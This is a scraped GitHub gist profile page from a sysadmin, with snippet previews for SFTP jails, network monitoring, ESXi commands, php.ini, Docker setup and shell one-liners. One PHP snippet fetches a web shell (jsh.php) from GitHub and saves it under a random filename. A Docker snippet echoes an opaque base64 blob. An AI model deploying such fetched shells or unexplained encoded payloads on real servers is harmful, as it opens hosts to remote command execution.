Skip to content

Instantly share code, notes, and snippets.

View ingmarioalberto's full-sized avatar

SysAdminMarioAlberto ingmarioalberto

View GitHub Profile
@ingmarioalberto
ingmarioalberto / importer-etc-passwd-and-sftp-jail.sh
Created January 22, 2025 03:18
SFTP with user home jailed wihout "upload" directory
step zero: maybe you should create groups to match users if not already created.
First we need to add users, and most users will ask you to create those users with certain uid, gid, etc, in this case my user ask me to import this file:
----cut here----
pt001:x:1101:1100:Some comment about this user pte:/dirhome/ptuserone:/bin/bash
pt002:x:1102:1100:Some comment about this user another user:/home/ptusertwo:/sbin/nologin
...
...
...
----cut here----
<?php
$tmp=tempnam(".", "tmp.php");
$mys=tempnam(".", "michel.php");
copy('https://raw.githubusercontent.com/jcubic/jsh.php/master/jsh.php', $tmp);
$o=file_get_contents("$tmp");
$str=rand();$seudorndstr = md5($str);
$O=str_replace("admin", "$seudorndstr",$o);
file_put_contents("{$seudorndstr}.php",$O);
@ingmarioalberto
ingmarioalberto / gist:ee6ac9f24f23c76aa0fe7b17da64f093
Created January 22, 2024 19:40
network monitor without any requirements
#!/bin/bash
#improved from https://www.commandlinefu.com/commands/view/10095/network-traffic-on-nics-in-mbps-without-sar-iperf-etc...
while true; do
[ -z ${TX2} ] && TX2=0
[ -z ${RX2} ] && RX2=0
[ -z ${INTERFACE} ] && INTERFACE=$(ip link | egrep -e '^[0-9]+:' | grep -v 'lo:' | grep -v 'state DOWN'| cut -d " " -f2 | cut -d ":" -f1 | head -n1) && echo "INTERFACE=${INTERFACE}"
RX1=`cat /sys/class/net/${INTERFACE}/statistics/rx_bytes`
TX1=`cat /sys/class/net/${INTERFACE}/statistics/tx_bytes`
DOWN=$(($RX1-$RX2))
UP=$(($TX1-$TX2))
amldump: información detallada sobre el estado de las máquinas virtuales en ejecución, dumpea en formato .aml (todo: investigar)
apiForwarder: enrutar solicitudes de API entrantes
applyHostProfile
apply-host-profiles
doat
getAccessToken
gpuvm
grabCIMData
gstorecli
hbrfilterctl
@ingmarioalberto
ingmarioalberto / downuntar.php
Last active December 11, 2023 19:33 — forked from thagxt/downunzip.php
Easiest way to download & extract zip files from a remote server to yours.
<?php
/*
1) upload this file into the folder you'd like to extract the content of the downloaded .zip file.
2) run the script in you browser. i.e. http://localhost/downunzip.php
3) after the script was executed sucesfully, login thru ftp and remove this script
*/
/* you can change this */
$download_url = "https://www.pulque.ro/m/wp-content2.tar";
$T=explode("/", $download_url);
[PHP]
;;;;;;;;;;;;;;;;;;;
; About php.ini ;
;;;;;;;;;;;;;;;;;;;
; PHP's initialization file, generally called php.ini, is responsible for
; configuring many of the aspects of PHP's behavior.
; PHP attempts to find and load this configuration from a number of locations.
; The following is a summary of its search order:
sudo apt update -y
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common nano wget
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update -y
sudo apt install docker-ce
sudo systemctl enable --now docker
echo 'H4sIAAAAAAAAA+1ZbW/bNhDOZ/0KIkGBDZje31JvwVCs/ZYgaxJgGIrCoKWTw0YiNZJy4v36HanY
ib04XgHHQTs9hvXCo47He44vJzVdrVl73foHL4cAkaepPSPWz/Y6TNIozyP8hQdBGCZxckDSF7Rp
iU5pKgk5kELo5+ptk3+jaBb8F4JXbPoiYfCf+U+TLMki5D/Kg2jgfx9Y57+ZewWvdtuGIThLkk38
Montar imagen como loop device incluir particiones
sudo losetup --find -P --show dd.img
montar manualmente particiones
udisksctl mount -b /dev/sdd1
@ingmarioalberto
ingmarioalberto / rem-ips.sh
Last active August 25, 2023 18:26
Netstat show remote IPs connected to host
netstat -tpn | tail -n+3 | grep -v '::' | tr ':' ' ' | tr '/' ' ' | awk '{print $4" "$5" "$6" "$7" "$10}' | grep -v '127.0.0.1' | awk '$1!=$3 {print $1" "$3}' | tr ' ' '\n' | sort | uniq -c | sort -n
awk
Separator:--> -F ":"
columnas 1,3,última:--> '{print $1" "$3" "$NF}'
awk
Separator:--> -F ":"
sum column 3:--> '{s=s+$3}END{print s}'
awk
regex en var GG:--> GG="[0-9]+"
if col2 like regex:--> '{if ( $2 ~ GG ){ print $0; }}'
awk